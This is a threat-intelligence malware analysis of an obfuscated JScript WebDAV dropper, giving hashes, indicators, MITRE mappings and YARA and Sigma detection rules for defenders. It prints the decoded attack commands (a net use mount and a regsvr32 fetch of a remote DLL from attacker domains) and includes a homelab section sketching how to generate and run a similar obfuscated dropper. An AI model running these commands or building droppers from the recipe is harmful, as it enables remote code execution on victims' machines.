fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498unclassified-js-webdav-dropper: fb353965 — 171170012088913497.js, dual-domain C2 split (cloudslimit / cloudskimit)
Executive Summary: Ninth confirmed sibling of the WebDAV dropper cluster. JScript file with 62-entry dictionary lookup-table obfuscation (same dialect as e6ebae6a), PowerShell -EncodedCommand wrapper, and a novel split-C2 pattern: net use mounts cloudslimit.com:8888 while regsvr32 fetches payload from cloudskimit.com:8888. No sandbox gate, no persistence, no decoy.
What It Is
- Filename:
171170012088913497.js^[metadata.json] - Size: 17,318 bytes ^[file.txt]
- Type: ASCII text, single line — JScript/WScript carrier ^[file.txt]
- Family:
unclassified-js-webdav-dropper(ninth confirmed sibling) ^[triage.json] - SHA-256:
fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498 - SSDEEP:
384:m14Fa9HQEIIKIaOnP9VJ1i1/OKGvoHn48CPvBF1FNr2Kav8CwcWJD/EGSnvOkFVd:ptRpyVnCZkFc^[ssdeep.txt] - TLSH:
T1C9720F95A2EE126F7C87DE61F500E68C60AC87333AE060D7DB50605B29DF846E31F59E^[tlsh.txt] - CAPE: Skipped — not a supported binary class for detonation. ^[dynamic-analysis.md]
How It Works
- Dictionary obfuscation: 62 key/value pairs map random English phrases to single characters (
squirrelservecrown['competitioncrackercoast']='F', etc.). ^[strings.txt:1] try/catchgate:try{abjectscaredring();}catch(...){...}— deliberately failing first call; real payload lives in thecatchblock. ^[strings.txt:1]- Global-object access:
Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...)— reachesWScript.Shellwithout typing the global names. ^[decoded.js] - PowerShell wrapper: Base64-wrapped
-EncodedCommandspawns with window hidden (0,false). ^[decoded.js] - Payload commands (decoded UTF-16LE Base64):
^[decoded.js]net use \\cloudslimit.com@8888\davwwwroot\ regsvr32 /s \\cloudskimit.com@8888\davwwwroot\44092138622199.dll
Cluster delta vs previous siblings:
- Dual-domain split:
net usetargetscloudslimit.comwhile payload fetch usescloudskimit.com(note the insertedk). First observed split-domain pattern in this family. Could be operator error, typo-squatting resilience, or deliberate infra separation. - Dictionary size: 62 entries — same cardinality as
e6ebae6abut entirely different key strings, confirming a hand-written generator rather than a shared tool. - No
wordpaddecoy, norundll32execution, nocmd /kdirect execution. StraightWScript.Shell.run()→ PowerShell →net use+regsvr32.
Decompiled Behavior
Not applicable — this is a plaintext JScript text file, not a compiled binary. No Ghidra/radare2 analysis possible. ^[rabin2-info.txt]
C2 Infrastructure
| Indicator | Value |
|---|---|
| WebDAV mount | cloudslimit.com:8888 via net use |
| Payload fetch | cloudskimit.com:8888 via regsvr32 /s |
| Payload filename | 44092138622199.dll |
| Execution chain | wscript.exe → powershell.exe -EncodedCommand → cmd.exe (net use + regsvr32) |
No mutex, no registry keys, no persistence, no sandbox checks.
Interesting Tidbits
- Dictionary key style: The 62 keys are alliterative three-word English phrases (
flippantcleverspare,competitioncrackercoast,therapeuticchillyraspy, etc.). Each maps to a single printable character. The operator clearly hand-rolls these rather than using a random string generator. ^[strings.txt:1] - Function name decoys:
abjectscaredring()andmushyattractionpartner()are deliberately undefined functions whose failure triggers the catch block. Same pattern observed ine6ebae6a(uzdjzsuqjxofr()) andfa7e181d. ^[decoded.js] - Base64 padding: The encoded PowerShell payload ends with
+(trailing+in Base64), which is preserved literally inside the JS string concatenation before decoding. ^[decoded.js] - Domain typo: The shift from
cloudslimittocloudskimit(insertedk) is consistent across the decoded command string — not a transcription error. Both domains were registered for this campaign.
How To Mess With It (Homelab Replication)
- Generate a dictionary-obfuscated dropper:
import random, string, base64 chars = sorted(set("net use \\host@port\davwwwroot\ ; regsvr32 /s ")) keys = [''.join(random.choices(string.ascii_lowercase, k=random.randint(6,24))) for _ in chars] lookup = {k:c for k,c in zip(keys, chars)} # ...assemble JS same as observed... - Set up WebDAV:
wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous - Place a benign test DLL at
/tmp/webdav/44092138622199.dll. - Execute on Windows VM via
wscript 171170012088913497.js. - Observe chain in ProcMon:
wscript.exe→powershell.exe→cmd.exe→regsvr32.exeloading DLL from UNC.
Deployable Signatures
YARA
rule js_webdav_dropper_dictionary_dialect {
meta:
description = "JScript WebDAV dropper with dictionary lookup-table obfuscation"
author = "PacketPursuit"
family = "unclassified-js-webdav-dropper"
reference = "fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498"
strings:
$dict_start = /\w+\[\]=\{\w+\}\[\'\w+\'\]=\'\w\';/
$func_return_this = "Function(''+return+' '+this+ '')()['"
$wscript_shell = "WScript" nocase
$create_object = "CreateObject" nocase
$davwwwroot = "davwwwroot" nocase
$regsvr32 = "regsvr32" nocase
$net_use = "net use" nocase
$encoded_cmd = "-EncodedCommand" nocase
condition:
filesize < 25KB
and $dict_start
and $func_return_this
and $wscript_shell
and $create_object
and any of ($davwwwroot, $regsvr32, $net_use, $encoded_cmd)
}
Sigma
title: WebDAV DLL Sideloading via JScript Dictionary Dropper
logsource:
category: process_creation
product: windows
detection:
selection_wscript:
ParentImage|endswith: '\wscript.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-EncodedCommand'
selection_regsvr32_unc:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '\\'
- 'DavWWWRoot'
selection_netuse:
Image|endswith: '\cmd.exe'
CommandLine|contains:
- 'net use'
- 'DavWWWRoot'
condition: 1 of selection_*
falsepositives:
- Rare legitimate remote COM registration over WebDAV in enterprise environments
level: high
IOC List
| Indicator | Type | Context |
|---|---|---|
fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498 |
SHA-256 | Sample |
171170012088913497.js |
Filename | JScript carrier |
cloudslimit.com:8888 |
Domain:Port | WebDAV mount target |
cloudskimit.com:8888 |
Domain:Port | Payload fetch target |
44092138622199.dll |
Filename | Remote DLL payload |
wscript.exe → powershell.exe -EncodedCommand → cmd.exe → regsvr32.exe |
Process chain | Execution fingerprint |
Behavioral Fingerprint
This JScript dropper uses a 62-entry dictionary lookup table where random English-phrase keys map to single characters. The script wraps execution in a try/catch block with a deliberately undefined decoy function. Inside the catch, it constructs WScript.Shell via Function('return this')() and runs a PowerShell -EncodedCommand that decodes to net use followed by regsvr32 /s against a WebDAV UNC path (\host@port\DavWWWRoot\). No sandbox checks, no persistence, no decoy application.
Detection Signatures
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file executed by wscript.exe ^[decoded.js] |
| Execution | T1059.001 (PowerShell) | powershell.exe -EncodedCommand wrapper ^[decoded.js] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\cloudskimit.com@8888\DavWWWRoot\44092138622199.dll ^[decoded.js] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | wscript.exe → powershell.exe → regsvr32.exe chain ^[decoded.js] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 62-entry dictionary lookup-table obfuscation ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP on port 8888 ^[decoded.js] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use + regsvr32 fetches remote DLL ^[decoded.js] |
References
- unclassified-js-webdav-dropper — entity page for this family
- js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
- webdav-regsvr32-dll-sideloading — technique page for the execution chain
e6ebae6a— first dictionary-dialect sibling (62 entries,dailywebstats.com:8888) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]fa7e181d— second dictionary-dialect sibling (36 entries,45.9.74.36:8888,cmd /kdirect execution) ^[/intel/analyses/fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7.html]
Provenance
file.txt—fileutility output (ASCII text, 17 KB)strings.txt— raw single-line JScript content with 62-entry dictionarydecoded.js— manually decoded by Python regex substitution of dictionary lookupsmetadata.json— artifact metadata from OpenCTI/MalwareBazaarssdeep.txt,tlsh.txt— fuzzy hashestriage.json— triage classification (unattributed, deep tier)- Tools: Python 3.11,
remodule,base64module, manual analysis. No Ghidra/radare2 (not a binary).